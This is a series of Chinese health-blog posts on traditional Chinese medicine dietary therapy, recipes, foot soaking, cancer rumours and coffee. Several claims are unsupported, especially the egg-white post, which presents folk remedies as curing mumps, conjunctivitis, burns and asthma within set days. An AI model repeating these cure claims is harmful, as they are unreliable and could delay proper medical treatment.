2020-12-10 / by / in
湿邪惹起 舌苔、水肿、尿少…医师:山药、红枣健脾排湿

健康/脾虚/湿邪

内湿──湿浊内生这是早安健康中医主治医师马可发布的一项研究证实。

内湿即湿浊内生,是指由于脾的运化功能、输布津液的功能有障碍,从而引起水湿、痰浊蓄积停滞的病理状态。因为「脾主运化」,负责把饮食转化成营养物质,然后输布到身体的其他地方,并把多余的水湿代谢出体外。

如果脾的运化输布功能出现问题,那么本来要被散布的精微,就有可能滞留在身体里,反而变成「糟粕」,即痰湿,比如过多的胆固醇、甘油三酯,所以有云「肥人多痰」,多半是因为脾虚生湿。

内湿,多因素造成体态肥胖、痰湿过盛、或因吃太多生冷、肥美的食物,伤了脾胃,于是水液不化,聚而成湿,停而为痰,留而为饮,积而为水。因此,脾的运化失职,是造成湿浊内生的关键,正如《素问.至真要大论》说:「诸湿肿满,皆属于脾。」

脾主运化靠的是脾阳,脾阳又和肾阳紧密联系,所以,肾阳虚衰时,也必然会牵连影响到脾的运化,从而导致湿浊内生。反之,由于湿为阴邪,湿浊内困太久,又会反过来损及脾肾之阳,造成恶性循环。

湿性重浊黏滞,会阻遏气机,临床上湿邪阻滞部位的不同,表现出来的症候也不一样,比如湿邪侵犯上焦,就会出现胸闷咳嗽;湿邪阻滞中焦,就会脘腹胀满、食欲不振、口黏、口腻或口甜,且舌苔较厚腻;

湿邪如果滞留下焦,就会出现泄泻,甚则少尿、无尿;水湿浸淫在皮肤肌腠之间,就会发为水肿;湿邪滞留在经脉之间,身体就会像被湿布缠裹住了一样,肢体沉重,难以屈伸。

山药,补虚健脾,脾虚救星

山药为薯蓣科植物薯蓣(Dioscorea opposita Thunb)的乾燥根茎。各地多有栽培,其中又以河南产者最好。以身干坚实、粉性足、色洁白、味微酸者为佳。

•性味与归经:甘,平。归脾、肺、肾经。

•功能与主治:补脾养胃,生津益肺,补肾涩精。用于脾虚食少,久泻不止,肺虚喘咳,肾虚遗精,带下,尿频,虚热消渴。

山药最初记载于《神农本草经》,名薯蓣,并被列为上品。

主伤中,补虚羸(音同雷),除寒邪热气,补中益气力,长肌肉。──《神农本草经》

李时珍在《本草纲目》中将其功用概括为「益肾气,健脾胃,止泄痢,化痰涎,润皮毛」五个主要方面。

山药性温味甘,温补而不骤,微香而不燥,是药食兼用的佳品。临床上可用于治疗脾胃虚弱证,增强小肠吸收能力。还具有调节免疫功能、改善消化功能、降血糖、降血脂、延缓衰老、抗肿瘤、抗突变、促进肾脏再生修复等功能。

山药还可制成山药片、山药罐头、山药粉等产品。另外,山药粥、山药面、山药羊肉汤、拔丝山药、山药烩时蔬等,也都是简便易行的山药烹制法。家中可以常煮些山药粥,能够治疗脾虚食少、腹泻、消瘦。

名词解释:

虚羸:即虚弱,中医形容病人体虚,其实虚羸是一种泛指,包含气虚、血虚、气血两虚、阴虚、阳虚、阴阳俱虚等,需要临床辨证,才能决定是何种虚,要如何补。

大枣,补气养血,妇人良品

大枣是鼠李科植物枣(Ziziphus jujuba Mill)的乾燥成熟果实。又名红枣。秋季果实成熟时采收,晒乾。

•性味与归经:甘,温。归脾、胃、心经。

•功能与主治:补中益气,养血安神。用于脾虚食少,乏力便溏,妇人脏躁。

红枣味甘,性温,为补脾胃要药,能润心肺,补五脏,丰肌肉,悦颜色,生津液,治虚损⋯⋯其甘能补中,温能益气。

──《本草求真》

大枣历来为补养佳品。女性狂躁抑郁,心神不宁等,饮用甘麦大枣汤(由大枣、甘草、小麦制成),即可起到养血安神、疏肝解郁的功效。

大枣还常被用于药性剧烈的药方中,以减少烈性药的副作用,并保护正气。如「十枣汤」中,用大枣缓解甘遂、大戟、芫花等泻药的毒性,保护脾胃不受伤害。

但是大枣食用过多会助生痰湿蕴热,所以痰湿偏盛、爱上火、感冒初期、糖尿病患者最好少吃或不吃。

名词解释:

脏躁:妇女精神忧郁,烦躁不宁,无故悲泣,哭笑无常,喜怒无定,呵欠频作,不能自控者,称脏躁。与更年期综合征相类似,本病发病原因多由于脏阴不足,导致虚火妄动。

平素宜服滋阴润燥之品,忌服辛苦酸辣之物,生活要有规律,避免紧张和情绪过激,保证充足的睡眠时间,心情要开朗,愉悦。必要时可配合精神心理疗法。

十枣汤:为攻逐水饮的方剂,具有强烈的泻下逐水作用,由芫花、大戟、甘遂、大枣四味药组成。其中大枣用量最大,且以之命名,这是因为甘遂、大戟、芜花都是有毒的泻下药物,需要大枣缓和制约三药的毒性,顾护脾胃。

2020-12-09 / by / in
鱼肉过多负担重!1碗菠菜排毒粥帮你瘦回来

健康/排毒/菠菜

大多数人都会感觉时间过得好快,转眼年末即将到来,朋友的各种聚餐应酬也十分频繁起来,紧接着又来到了过年,餐餐的美味佳肴爱不释手,可是随之而来的是合身的衣服变得紧绷了,怎么办?

日本人常说,过个年会胖2公斤,那么餐餐大鱼大肉之后,不妨以帮助排毒的食材煮成粥类,即健康能帮助瘦身,做法简单。

十分钟排毒粥 营养丰富还可抗老防贫血

日本健康专栏作家生井理恵指出,这道超简单的排毒粥只要十分钟就能完成,对肠胃负担都轻,既暖和又有饱足感,能帮助消除这阵子吃太多造成的身体负担,让体重回归正常。

菠菜含有的叶绿素能帮助吸附废弃物排出体外,可期待排毒的效果。日本管理营养士长井佳代表示菠菜是众所皆知的蔬菜营养之王,铁质和叶酸都能预防贫血,维生素C能预防感冒,β-胡萝卜素的抗氧化和抗癌效果也十分引人注目,此外,菠菜的茎红红的部分,还具有帮助改善便秘的效果。


菠菜

生井理恵指出,这道粥的调味基础来自于鸡翅,而带骨鸡翅含有丰富的胶原蛋白,具有美肌的效果,是很棒的食材。

《排毒瘦身粥这样做》

材料(1人份)

冷饭 150公克

水 400ml

菠菜 1束

白萝卜 一小块

枸杞 适量

生姜泥 1小匙

盐 适量

葱 适量

生姜 一片(切成细丝)

做法

1.锅里放入水和鸡翅,转成大火,煮到浮出泡沫时把泡沫捞掉,再转成中火熬煮。

2.大约5分钟过后,锅里加入冷饭、用水洗乾净后切成1公厘大小的菠菜茎,以及切成小块的白萝卜、枸杞以及生姜泥等等,水如果不够的话,可再加入一些。

3.让蔬菜和鸡翅煮熟后,再加入同样切成一公厘的菠菜叶,再加热1~2分钟,加入盐调味。等粥煮成自己喜欢的浓稠度后即完成。最后撒上切成小块的葱花和生姜即可享用。

2020-12-09 / by / in
泡脚有讲究 如果搞错 伤害身体没商量!

健康/养生/泡脚

入冬天气一冷,有人手脚容易冷,盖上被子也不管用,这个时候泡泡脚,既可以暖暖脚也解解乏,同时又可促进血液循环、从而帮助你有个好的睡眠。那么我们今天就说说泡脚的几大好处。

1、降低血压。

足浴可通过热水的温热和机械刺激作用,直接改善动脉血管壁的弹性,解除细小动脉的痉挛状态,使血管扩张,从而外周阻力下降而降低血压。同时热水也可以刺激皮肤神经末梢感受器,通过中枢神经,调节内脏器官功能而起到降压的作用。

2、缓解疲劳。

在温度的刺激下,下肢的周围血管扩张,血流更加丰富,促进血液循环,从身体运来的新鲜血液流过动脉,给下肢的肌肉带来丰富的氧气和养料,从而改善脚部和下肢的血液循环,增强血管弹性,降低局部肌张力。白天因为局部无氧环境形成的乳酸等代谢产物,可以迅速的排泄,不仅缓解了腿部的酸麻胀痛,更是可以很大程度上缓解一天的疲劳。


泡脚

3、促进睡眠。

热水可对中枢神经系统产生一种温和的刺激,从而促进大脑皮层进入抑制状态,有助于加快睡眠,同时使睡眠程度加深。

4、防治感冒。

素有“头上风寒脚上起”之说。中医认为脚部着凉很容易引发感冒,通过热水泡脚,会促进呼吸道黏膜发生变化,从而对感冒达到预防或者促进恢复的作用。

5、滋润皮肤。

我们可以自行在泡脚的水中加入少许醋。热水和醋融合在一起,可以杀灭细菌,在一定程度上可以治疗脚气,另外还可以滋润皮肤、软化角质、增加皮肤弹性、祛除风湿。


泡脚

虽说泡脚好处不少,却也有着很多禁忌,有一些人群并不适合泡脚。

1、皮肤病患者

如若脚部有严重炎症、皮肤病、外伤或皮肤烫伤的患者不宜泡脚,因为这样很容易造成伤口感染。

2、下肢动脉硬化患者

一方面,下肢动脉硬化患者本身血管状态不佳,血管壁已经硬化,这样差的弹性,很难在水温的刺激下有效扩张,不能起到促进血液循环的作用。另一方面,周围组织感受到温度的变化,肌肉等组织细胞的代谢活动旺盛,增加组织耗氧量,反而引起更加严重的组织缺血,造成疾病的进一步恶化。

3、糖尿病患者

因为这类患者容易并发周围神经病变,末梢神经不能正常感知外界温度,即使水温很高,他们也感知迟纯或者无法感知,此时就容易被烫伤。而一旦形成烫伤,伤口很难愈合,常常会发生局部伤口的感染、溃烂,严重者可以造成肢体的坏死,乃至截肢的风险。

4、严重心脏病、低血压患者

因为用热水泡脚会使人体血管扩张,全身血液由重要脏器流向体表,这将导致心脏、大脑等重要器官相对缺血缺氧,增加发病危险。

5、下肢静脉病患者

热水泡脚会导致下肢动脉扩张,更多的动脉血液进入下肢。此时对于患有静脉疾病的患者,静脉的回流能力并不会因此增加,这会加重患者血液的瘀积,加重病情。

6、太饱时不宜泡脚

因为此时泡脚,会加快全身血液循环,容易出现头晕不适的情况,更重要的是还会影响胃部血液的供给,长期下去会造成消化不良,营养失衡。


泡脚

那么如何合理健康地泡脚呢?

1、足浴前最好喝1杯白开水(约200毫升),以利于体内血液循环和排毒。

2、泡脚的时间不能太长,最好控制在15-20分钟。时间过长会导致双脚的局部血液循环长时间过快,体内血液也会更多地流向下肢,容易造成心血管超负荷,也不利于其他重要脏器如心脑肾的供氧。

3、泡脚的水温不能太高。泡脚的最佳水温在50℃以下,要求热而不烫,注意了,是使用自己的脚去感受不烫的程度,而不是手。水温太高,会导致下肢和体表供血过多,从而使重要脏器供血不足。此外水温太高,容易破坏脚部皮肤表面的皮脂膜,使角质层干燥甚至皲裂。

4、饭后半小时内不宜泡脚,小心影响胃的功能,造成营养不良。


脚被称为人体第二心脏

5、泡脚后不能马上睡觉。趁着双脚发热的时候可以揉揉脚底,有条件还可以按按穴位,及时穿好袜子保暖,待全身热度缓缓降低后再入睡效果最好。

6、泡脚最好用较深、底部面积较大的器具,能让双脚舒服地平放进去,而且最好让水一直浸泡到小腿。

7、正在发育期的小孩要注意啦,如果常用过热的水泡脚,会使足底韧带因受热而变形、松弛,不利于足弓发育,日久容易诱发扁平足喔。

8、如果有时痴迷于看剧泡脚而忽略了时间,造成足部及下肢血管长时间扩张,血容量增加,已经出现了头晕、目眩时,不必惊慌,可立即改用冷水洗足,使足部血管收缩,血液会很快向心脏回流以消除大脑急性缺血,缓解症状。

 

2020-12-08 / by / in
医生推翻 关于癌症的5个谣言 可不要再被骗了

味精致癌/自来水致癌/隔夜菜致癌/致癌谣言/癌症谣言

为了不浪费食物经常把吃剩下的菜放到冰箱隔天再吃,也经常听到一些人说隔夜菜能致癌?还有的朋友说打蜡的苹果也会致癌?更让我惊讶的是自来水中的氯也会致癌?真是让人心惊胆战,感觉致癌物时时处处与我们打交道。

然而事实上真的是这样子的吗?下面这些关于癌症的谣言有几个骗了你呢?

一、隔夜菜致癌

隔夜饭菜会导致癌症这一个说法已经传了很久,原因很简单,人们认为绿叶蔬菜中的硝酸盐类物质煮熟后如果放置时间过长,就会分解成为致癌物亚硝酸盐,因此食用后会致癌。

实际上,亚硝酸盐并不具有致癌性,典型的致癌物应该是亚硝胺,但是该物质极易分解,在放置过程中早就分解殆尽了。隔夜饭菜之所以不建议食用,主要是因为它的营养价值降低了,而不是致癌作用。


微波炉致癌

二、微波食物致癌

根据之前危言耸听的谣言所言,微波炉加热后,会让食物的分子结构发生变化,产生具有毒性的新分子,人体食用这些用微波炉加热的食物后会引发癌症。

实际上,微波只对食物中的水分子产生作用,只要是经过严格检测的微波炉,都不会对食物本身造成化学性的变化,更不会产生致癌物,因此,微波食物不会致癌。


自来水致癌

三、自来水致癌

氯具有致癌性,而自来水中含有的氯在蒸煮东西时,由于盖着锅盖,蒸发不出来,就会全部覆于食物之上,所以有人认为煮东西时最好不要用自来水。

关于氯是否真的会致癌,目前尚没有足够的资料来证明这一观点,在国际的致癌分类中,氯与咖啡因属于同一级别。

但是致癌是建立在足量的前提之下,世界卫生组织对自来水的标准是5毫克/升,而只要超过2毫克/升,我们就完全可以闻到异味,所以只要自来水没有异味,则说明其中的氯含量是符合标准的,可以放心饮用。


苹果打蜡致癌

四、打蜡苹果致癌

不知各位平时吃苹果时有没有发现,用刀刮苹果的外皮时可刮出薄薄的一层蜡,由于是人为加上去的物质,所以许多人就会以为这层蜡对人体的危害极大,甚至可能会致癌。

打蜡是中国乃至国际都允许的一种保鲜方法,在多个国家,该项技术都有成熟的工艺和法规,只要用法和用量符合标准,是不会对人体产生太大的损害。当然,不能排除有一些不良商家会为了延长保鲜期而无视消费者的权益,此时只要削皮也是可以食用的。


味精致癌

五、味精会致癌

传言中,味精在超过100℃的环境中时,就会发生变性,生成对人体有害的焦谷氨酸钠,所以炒菜千万不能加味精。

“味精致癌”这一说法根本无从谈起,味精在70℃-90℃时会溶解,只有温度达到200℃时才会脱水生成焦谷氨酸,而炒菜时一般是达不到这个温度的。再者,味精只是作为调味品,并不会一次性大量食用,即便生成焦谷氨酸钠,摄入量也很有限,不会达到致癌水平。

2020-12-08 / by / in
吃火锅 这几样菜 最好少吃

健康/火锅/高胆固醇/高能量菜品/高盐分菜品

火锅源于古老的华夏民族,历史悠久,随着饮食文化的发展和其特色边煮边吃的美味,火锅成了人们喜爱的食物,更成了饮食界的新时尚,它也是一种老少皆宜的食物。

如今又到了吃火锅的季节了,三五人一桌,吃着热腾腾的菜,别提有多惬意了。但是吃火锅时,有些菜是要适量吃的,应多吃些绿色蔬菜,否则会影响到身体的健康。那么,哪些菜是应少吃的呢?

毛肚、百叶、黄喉等水发产品。这类食品常被报导用“甲醛”、“ 火碱 ”等有毒化学品处理,长期食用会破坏神经系统和消化系统,危害人体健康。一般来说,用火碱和甲醛处理后的食物显得又大又白,口感更脆,保鲜期也可延长。

火锅

高胆固醇菜品。主要包括猪脑、肥肠等内脏类。这类菜品虽然口感好,但胆固醇含量却高得惊人,过多食用会增加心脑血管疾病风险。此外,动物内脏有害物质残留较多,不易去除。高脂血症、高胆固醇患者应避免食用,一般健康人群也要少吃。

高能量菜品。主要包括肥牛、肥羊、羊尾等,这类肉饱和脂肪含量高,能量高,过多食用容易造成能量过剩,增加肥胖风险。建议大家在选择牛羊肉时尽量选择瘦一点的,也可以用鱼虾贝类、豆制品等代替部分牛羊肉,享受美味、保证蛋白质摄入的同时降低了能量、饱和脂肪摄入。

高盐分菜品。主要包括午餐肉、香肠、鱼丸、牛肉丸等加工肉制品 ,这些菜品在制作的过程中已经加入不少盐分和食品添加剂。吃火锅时,锅底、蘸料中也含有不少盐,如果再食用加工肉制品,很容易造成钠盐摄入过量。

2020-12-07 / 2 Comments / by / in , ,
10种蛋清的妙用 可以治疗多种疾病

鸡蛋/蛋清/蛋白/润肺利咽/清热解毒/牙痛/流行性腮腺炎/口腔炎/咳嗽/哮喘/烫伤

鸡蛋可以说是全人类在生活中不可缺少的食物之一, 鸡蛋在食用中非常广泛,有非常高的营养价值,含有较多的维生素B和其他微量元素,深深受人们喜爱的食物,

鸡子白别名鸡子清、蛋清、鸡卵白、鸡蛋清,为雉科动物家鸡的蛋白,产于全国各地。其性甘、凉、微寒,无毒,归脾、肺、胃三经,具有润肺利咽、清热解毒的功效。近年发现鸡子白对以下病证治疗获良效,现介绍如下,供读者参考。


鸡蛋

1 治牙痛

鸡蛋2个,白酒50毫升。先把白酒置于碗中点燃,然后倒入蛋清,以火点着至自熄为度,痛时1次服下。

对于风火牙痛效果显着。

2 治流行性腮腺炎

鸡蛋2个,赤小豆70粒。将赤小豆捣碎为末,用鸡蛋清调为糊状。

敷于患处,敷料覆盖,胶布固定。每天换药1次,现捣现敷,直至炎症消退。一般5~6天可愈。

可清热解毒、消肿止痛。

3 治溃疡性口腔炎

取冰片0.3克,加入鸡蛋清1个混合和匀。

用时先取0.02%呋喃西林液漱口,用棉卷擦干患处后涂冰片蛋白,每天4~5次。一般外涂4~5天可愈。

可清热解毒、消肿止痛、护肌收敛。注意此方宜临时配制,不宜久贮。

4 治咳嗽不安


咳嗽

鸡蛋清、荞麦面各适量。用鸡蛋清和荞麦面制成团。每天几次用力涂擦胸部。

可清热下气。用治胸满腹胀、咳嗽不安。

5 治老年咳嗽

黄连、百部、生半夏各20克,鸡蛋清或蜂蜜各适量。将诸药分别研为细粉,混合均匀,装瓶备用。

用时取生姜2片,捣烂成泥状,加入药粉2克,用鸡蛋​​清或蜂蜜适量调成稀糊状,分为2份。每晚睡前洗脚后将调好的药糊置于一块白棉布中央,贴敷于双足涌泉穴上,后用医用胶布固定。每天换药2~3次,5天为1个疗程。

可导热下行,引火归元,可谓上病下治之妙方。

6 治肾阴虚所致支气管哮喘

鸡蛋清100克,猪腰400克,核桃仁50克,葱、姜、盐、料酒、花生油各适量。

将猪腰对剖取去网膜,切成腰花,加料酒、葱、姜末、盐拌匀腌半小时,捞出沥干。核桃仁用水浸泡、去皮,在五成热的油锅中炸酥,取出。锅上放油烧至五成热,将切好的猪腰花朝下,捧在手心上,再放上一块儿核桃仁,用腰花包拢,拌抹均匀鸡蛋清,下油锅炸至黄色捞出。炸完后将油烧至八成熟,把全部炸件下锅,再炸至深黄色,沥尽油,装盘即可服食。

每天1剂。可补肺益肾、下气定喘。适用于肾阴虚之咳嗽、痰喘、发热胃寒等症。

7 治结膜炎

鸡蛋一个。入睡前将鸡蛋煮熟去壳,蛋黄不用。趁热将蛋白置于洗干净的患眼眼皮上,以纱布固定,次晨打开,弃除蛋白。连用3天可愈。可清热消炎。

8 治痈疽

鸡蛋清适量,绿豆适量。将绿豆反复碾碎,过箩取极细粉末,与鸡蛋清调为糊状,外敷于患处,敷料覆盖,胶布固定。

每天换药2次,连用4~5天可愈。可清热解毒、祛瘀通络、消肿止痛。

用于治疗各种痈疽之红肿疼痛。

9 治烫伤

鸡蛋1个,冰片3克,麻油适量。

鸡蛋取出蛋清,将冰片研细加入调匀,再加少许芝麻油拌匀即成。使用前用2%新洁尔灭或生理盐水冲洗创面,如有水疱先抽吸干净,再用消毒棉签蘸涂患处,每天3~4次。


烫伤

涂药后烫面结成淡黄色闪亮硬壳一层,不可过早剥夺,以免引起皮肤溃烂。如天热因结硬痂引起疼痛,方中适量增加香油润肤。每天配制新鲜药液1次,剂量视创面大小增减。可清热解毒、消肿止痛、护肤生肌。

10 治黑褐斑及妊娠蝴蝶斑

鸡蛋清、杏仁、白酒各适量。杏仁浸泡后去皮,捣烂如泥,加入蛋清调匀。

每晚睡前涂擦,次晨用白酒洗去,直至斑退。

杏仁含杏仁甙、脂肪油、杏仁油及葡萄糖等,蛋清含多种维生素、盐酸,有促进皮脂腺分泌、滋润皮肤、美面消斑之作用。适用于面部黑褐斑及妊娠蝴蝶斑的治疗。

2020-12-07 / by / in ,
营养师也超爱!「豆芽菜减肥」甩16公斤

健康/减肥/豆芽

豆子发芽长出来的豆芽菜,含有丰富的维生素C,是生活中最为常见的一种菜,而且味美价廉。

艺人蒋伟文爱吃、懂吃、爱下厨,被封为新一代型男主厨,但因为难敌美食诱惑,他自曝一年内体重狂飙16公斤,胖到只剩1条裤子可穿,惊觉身材走样才下定决心减肥,终于在半年内从差点破百的体重瘦回83公斤,秘密武器之一就是豆芽菜,没想到这招连营养师也超爱!

蒋伟文「豆芽减肥法」菜单曝光

《早安健康》发布:蒋伟文发狠运动、忌口油炸物与甜食,他以透抽、鱼虾等海鲜取代肉类、一饿就吃大量蔬菜,若想吃淀粉,则用大量豆芽菜代替,以橄榄油热炒豆芽菜、佐以适当调味料闷煮,让口感像面条,再搭配虾仁,就成了另类的「海鲜意大利面」,还有自制豆芽菜汉堡排、用豆芽菜鱼汤、配泡菜等,也名列蒋伟文的减肥菜单。

蒋伟文在不到半年时间内瘦回83公斤,「豆芽菜」可说是大功臣,据报导,过去港星黄秋生也把豆芽菜当作瘦身的主要食材,早晚吃水煮豆芽菜搭配固定运动,狂瘦10公斤,效果显著。


豆芽

豆芽菜减肥效果

「豆芽菜减肥」连营养师也赞同,晨光健康营养专科咨询中心院长赵函颖营养师分析,一般所指的豆芽菜以绿豆芽为主,其实豆芽有分为黄豆芽及绿豆芽,黄豆属蛋豆鱼肉类的蛋白质,而绿豆属于主食淀粉类,二种豆芽都有高纤低脂的特性,富含膳食纤维、热量又很低,平均100公克热量约24~34大卡,黄豆芽还富含β-胡萝卜素及叶酸,而绿豆芽则含有维生素C、钾离子、钙离子等矿物质。

不过,成功「享瘦」的前提是得像蒋伟文一样,无视油炸物及甜食的诱惑,多喝水及维持运动习惯。赵函颖营养师坦言,自己平常也喜欢吃豆芽菜,有助排便与减重,但她也提醒,不论哪一种能帮助减肥的食物,毕竟还是单一食品,营养素还是不够全面,即便是吃豆芽菜,也别忘了添加其他蔬菜、搭配肉丝等,选择相对低脂的海鲜及富含膳食纤维、能增添饱足感的蔬菜,全方位补充营养,才是聪明又健康的减肥方法。


豆芽

然而,黑心豆芽菜流入市面的消息时有所闻,过去有不肖业者为了让豆芽菜有好卖相,会添加漂白水、消毒水,也传出有菜农用荷尔蒙除草剂让豆芽菜茎长得更肥美。无毒专家白佩玉表示,如果看到豆芽菜又白、又胖、又直,几乎没有须根,上面长出来的芽叶很小、颜色又很淡,拿起来闻又有刺鼻味,代表种植过程加入了不该加的东西,不要买。相对来说,看起来没有那么漂亮,像是颜色偏黄、弯弯曲曲、有须根有叶子,反而比较安心。

2020-12-06 / by / in , , ,
中医师解答!咖啡是寒性饮品 还是热性饮品

健康/咖啡/寒性/热性

咖啡是世界上最受欢迎的饮料之一,也是人类社会流行最为广泛的一种生活方式。

台湾人有多爱喝咖啡?根据财政部统计,全台2015年咖啡豆总进口量为28,542吨,十分惊人!但近来网路上却流传:「咖啡是寒性饮品,喝多有害健康。」的说法,引发网友热烈讨论。究竟是否真有这么一回事,且听专业中医师怎么说!

华人健康网报道:咖啡是寒性、凉性,还是热性?


热咖啡

中医:根据烘焙、烹调方式大不同

台北市立联合医院林森中医院区中医科主治医师吴建东表示,在讨论上述说法是否正确前,民众要先了解咖啡对于中医来说是相当新颖的食材。再加上,咖啡豆的品种、类型十分多元,所以,想要套用中医观点的药性归属将其加以分类,确实有难度。不过,若细究多数中医师认为较权威性的中医药研究著作《中华本草》会发现,其定义咖啡为味微苦、涩,性平。

至于,为何网路上会流传有,咖啡是寒、凉性,甚至热性的食物说法?吴建东中医师指出,可能与咖啡的烘焙、烹调方式不同,例如,浅焙、中焙、深焙,以及做为冷饮或热饮饮用有关。毕竟以中医药理论理论来看,所有食物、药材,根据烹调、炮制方式的不同,在性质上也会产生相当大的差异。举例来说,若饮用的是冰凉的冰咖啡,性质自然也转凉、转寒。而咖啡豆也会因烘烤时间较长,而带燥热。因此,无论因为烘焙或烹调方法差异,使得最后喝下肚的咖啡转为「寒凉」或「燥热」,基本上,喝咖啡都要适量。


冰咖啡

喝咖啡好健康?中医师:这些人不宜多喝

所以,即便近年来咖啡已被证实,其含有的咖啡因、绿原酸、咖啡醇和脂肪酸等活性成分有利尿、护肝、保护心血管的作用,适量饮用对人体健康益处良多。但以中医角度来看,在无法确知民众饮用的咖啡种类情况为何下,仍建议大家平时在咖啡饮品的摄取上应适度控制。

尤其是,某些一喝咖啡就容易腹泻,平时常有手脚冰冷困扰的朋友。吴建东中医师则建议,不妨可试着于饮用咖啡时,适量添加能提振阳气、温经通脉的肉桂等辛香料,就是增添风味之余,有助于微调咖啡性质的不错选择。

另外,由于咖啡因摄取过量易使人体神经传导系统呈现过度兴奋,增加心悸、胃酸分泌的机会。因此,有胃痛、胃食道逆流、胃溃疡等胃部疾病,或是容易失眠、常感口乾舌燥、情绪烦躁体质相对燥热的朋友,应避免过度饮用才是。

咖啡因摄取过量了吗?日常饮食这样换算不NG

吴建东中医师也特别提到,根据美国饮食指南建议,一般来说,成人每日咖啡因摄取量不建议超过400毫克。若以一杯200毫升的美式咖啡约含有90毫克咖啡因来看,每日饮用在4杯以内多无大碍。


咖啡豆

至于,常见食品的咖啡因含量为何?根据欧洲食品安全局计算,一杯200毫升的美式咖啡约含有90毫克;一罐250毫升的能量饮料有80毫克;一杯60毫升的义式浓缩咖啡为80毫克;一杯220毫升的红茶约含有50毫克;一罐355毫升的可乐约含有40毫克;一块50公克的巧克力约含有25毫克;一块50公克的牛奶巧克力有10毫克。可提供民众做为简易的评估参考。

【中医师小叮咛】:

吴建东中医师也提醒,想要有效发挥咖啡的健康好处,除了饮用后随时关注自身生理状态适度调整外。建议民众在挑选咖啡时,应选择接近原本形态,也就是属于食材,而非食品的制品较健康。

至于,咖啡豆的保存上,则提醒大家一旦开封后,最好能适当保存,并且尽速饮用完毕,以预防赭曲毒素产生。此外,由于咖啡饮品含有丰富的油脂,放置于室温下一段时间后,便容易腐败,民众更要养成现泡现喝的习惯。

2020-12-06 / by / in
容大夫生地老鸡汤 冬季补肾全年受益(视频)

生地鸡汤/鸡汤/老鸡汤

今天和大家一起分享荣大夫的一款生地老鸡汤,并为我们详细讲解其中的道理。

冬季进补一定要补肾,冬季属水,肾也属水,因此根据天人合一的原理,补肾就可以达到天人相感的效果。冬天进补非常重要,民间有句谚语:“冬天进补,春天打老虎”。但是冬季到底怎么补?吃什么能达到补肾这样的效果?用什么锅熬补汤效果最好?

食材:

老母鸡 1000克,生地 30克,茯苓 30克,黄芪 30克,枸杞 15克,肉桂 15克,红景天15克,陈皮 10克,生姜 40克,料酒 30毫升,盐 少许

做法:

1. 全部药材清洗干净,鸡去掉鸡屁股,

2. 将所有食材放入瓦罐里面大火烧开后,小火慢炖3小时即可。

 

2020-12-05 / by / in ,
食补首选的「药王」 有4种人不可以吃

健康/进补/当归

有「药王」美誉的中药材当归,是日常生活中常见的植物,它能调血活血等,还是食补最常见的一种食材之一,但是其4种人应该要尽量避免食用。

据《苹果日报》报导,农委会花莲农改场兰阳分场长张同吴指出,当归内「阿魏酸」属于酚类化合物,有抗老化、清除自由基的作用重要成分;「藁本内酯」可补血,冬天怕冷、体虚、瘦弱、脸色苍白及身体偏寒性的人建议可以多食用。但有吃抗凝血药物、血管方面治疗者、孕妇及女性经期来时,应尽量避免食用。


当归

TVBS新闻报道:至于该如何挑选,张同吴建议若想要将当归分支、根部吞服的话,可以尽量挑选较细、较嫩的当归,如果是要切片的话,则是可选较粗大的当归。张同吴也建议,没有一次吃完的当归,可以放在密封盒、密封袋中,放进冰箱冷藏或冷冻库,否则新鲜当归若是放置在室温中,很容易会发霉。

2020-12-05 / by / in
名厨腌出最好吃的脆口酸菜~(视频)

脆口酸菜/酸菜/腌酸菜

酸菜可以保留蔬菜原有的营养成份,比如维生素C和氨基酸,还具有膳食纤维等营养成分,是我们生活中非常受欢迎的一道小菜,如果吃了油腻的东西可以用酸菜来解腻,喝粥加点酸菜更是好味道。

今天的这道腌酸菜是名厨为我们展示的如何用最简单的方法,腌出最美味的脆口酸菜。

食材:

胡萝卜 1根,白萝卜 半根,小红萝卜 250克,姜 50克,芹菜 半棵,红辣椒 100克,青辣椒 100克,苤蓝 1个,甘蓝菜 1/4个,盐 100克,糖 30克, 胡椒粒 10克,大料 2个,香叶 5片,大蒜 10瓣,豇豆 250克,过滤水 1000克,高度白酒 50克,

做法:

1. 准备工作:胡萝卜切片,白萝卜切条,小红萝卜对半切开,姜切片,芹菜切条,青红辣椒切去硬蒂,苤蓝切大片,甘蓝菜掰大片。

2. 调料水:将盐,糖,胡椒粒,大料,香叶和过滤水放入碗中搅拌均匀。

3. 成菜:将切好的蔬菜放入无油无水干净的罐子里,然后将调料水放入罐子里面,最后倒入适量的高度白酒,将罐子密封好,2周以后就可以吃了。

2020-12-04 / by / in ,
冬季气血不足怎么办 推荐7道补血食疗

气血不足/滋养气血/冬季 补血食疗/银耳 /红枣/黑糯米 补血粥/当归 红枣 排骨/养颜补血 /燕麦粥/黄豆 雪梨 猪脚汤/木瓜 银耳汤

气血不足还是比较普遍存在的,是很多朋友都经历过的烦恼,身体任何部位出现问题时间久了,基本都会引起气血不足。

专家认为,冬季可以多吃一些补血食疗来滋养气血,那么哪些食疗可以帮助我们促进气血运行呢?下面就来了解一下吧。

1、银耳红枣汤

银耳又称为“穷人的燕窝”,燕窝虽补,却价格昂贵。银耳无论颜色、口感、功效都和燕窝相似,价格便宜,所以称为穷人的燕窝。

燕窝太补易上火,银耳为凉补有润燥的作用。燥气和火气对人体不利,去火、去燥吃银耳最有效。用银耳、桂圆干、枸杞、红枣熬汤,此汤不仅是美味,还能丰胸,使你的脸色白里透红,体态轻盈苗条。

2、黑糯米补血粥

黑糯米、桂圆和红枣是大家都知道的补血好东东,再加上营养价值很高的山药,益气养血的功效更显着。用黑糯米、红枣、桂圆、山药、红糖熬汤,每个月记得喝哦!


黑糯米

3、当归红枣排骨

换季时节,皮肤容易干燥粗糙、瘙痒,可用排骨一根、枸杞适量、红枣12枚,当归4片,将排骨洗净血水放入砂锅,加入枸杞、红枣、当归,也可放点葱、姜片,大火烧开,再小火炖至排骨酥烂,盐、鸡精调味即可。以上几种食材配在一起炖煮,能收到滋阴润燥,养颜护肤的辅助作用。

4、养颜补血燕麦粥

先泡好核桃、红枣、龙眼干,把燕麦清洗干净,倒进电饭锅里,加适量水,开煮了!记得要看看时间,粥滚开了就换到熬粥档,出锅前放些红糖。

5、双红补血汤

红薯500克、红枣10克、红糖适量,清水2000毫升,备齐后一起下锅煮开,红薯熟时再下红糖,喜欢吃南瓜的也可以把红薯换成南瓜。

6、黄豆雪梨猪脚汤

常喝梨汤对女人很有好处,梨子自古就有“百果之宗”的美誉,用雪梨来做汤,更可以祛咳润肺,清心美肤。喝这道雪梨大豆猪手汤,对于光滑皮肤、缓解声沙、口干有明显的效果,还能降血压。

